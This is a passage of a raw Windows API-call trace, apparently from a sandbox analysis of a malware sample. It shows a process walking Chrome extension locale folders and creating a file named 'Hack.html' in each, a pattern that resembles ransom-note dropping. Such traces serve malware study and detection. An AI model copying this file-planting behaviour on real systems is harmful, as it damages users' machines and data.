Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.996] GetFileType (hFile=0x174) returned 0x1 [0075.996] GetFileType (hFile=0x174) returned 0x1 [0075.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt", lpFilePart=0x0) returned 0x92 [0075.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\", lpFilePart=0x0) returned 0x93 [0075.997] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.998] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt", lpFilePart=0x0) returned 0x92 [0075.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\", lpFilePart=0x0) returned 0x93 [0075.998] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.998] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.999] GetFileType (hFile=0x174) returned 0x1 [0075.999] GetFileType (hFile=0x174) returned 0x1 [0076.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv", lpFilePart=0x0) returned 0x92 [0076.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\", lpFilePart=0x0) returned 0x93 [0076.000] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.001] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv", lpFilePart=0x0) returned 0x92 [0076.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\", lpFilePart=0x0) returned 0x93 [0076.002] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.002] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.003] GetFileType (hFile=0x174) returned 0x1 [0076.003] GetFileType (hFile=0x174) returned 0x1 [0076.004] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml", lpFilePart=0x0) returned 0x92 [0076.004] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\", lpFilePart=0x0) returned 0x93 [0076.004] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.005] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml", lpFilePart=0x0) returned 0x92 [0076.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\", lpFilePart=0x0) returned 0x93 [0076.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.005] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.006] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.009] GetFileType (hFile=0x174) returned 0x1 [0076.009] GetFileType (hFile=0x174) returned 0x1 [0076.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr", lpFilePart=0x0) returned 0x92 [0076.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\", lpFilePart=0x0) returned 0x93 [0076.010] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.011] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.011] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr", lpFilePart=0x0) returned 0x92 [0076.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\", lpFilePart=0x0) returned 0x93 [0076.012] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.012] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.013] GetFileType (hFile=0x174) returned 0x1 [0076.013] GetFileType (hFile=0x174) returned 0x1 [0076.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms", lpFilePart=0x0) returned 0x92 [0076.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\", lpFilePart=0x0) returned 0x93 [0076.014] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.014] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms", lpFilePart=0x0) returned 0x92 [0076.014] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\", lpFilePart=0x0) returned 0x93 [0076.015] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.015] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.015] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.015] GetFileType (hFile=0x174) returned 0x1 [0076.016] GetFileType (hFile=0x174) returned 0x1 [0076.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb", lpFilePart=0x0) returned 0x92 [0076.017] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\", lpFilePart=0x0) returned 0x93 [0076.017] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.018] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb", lpFilePart=0x0) returned 0x92 [0076.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\", lpFilePart=0x0) returned 0x93 [0076.018] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.018] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.019] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.019] GetFileType 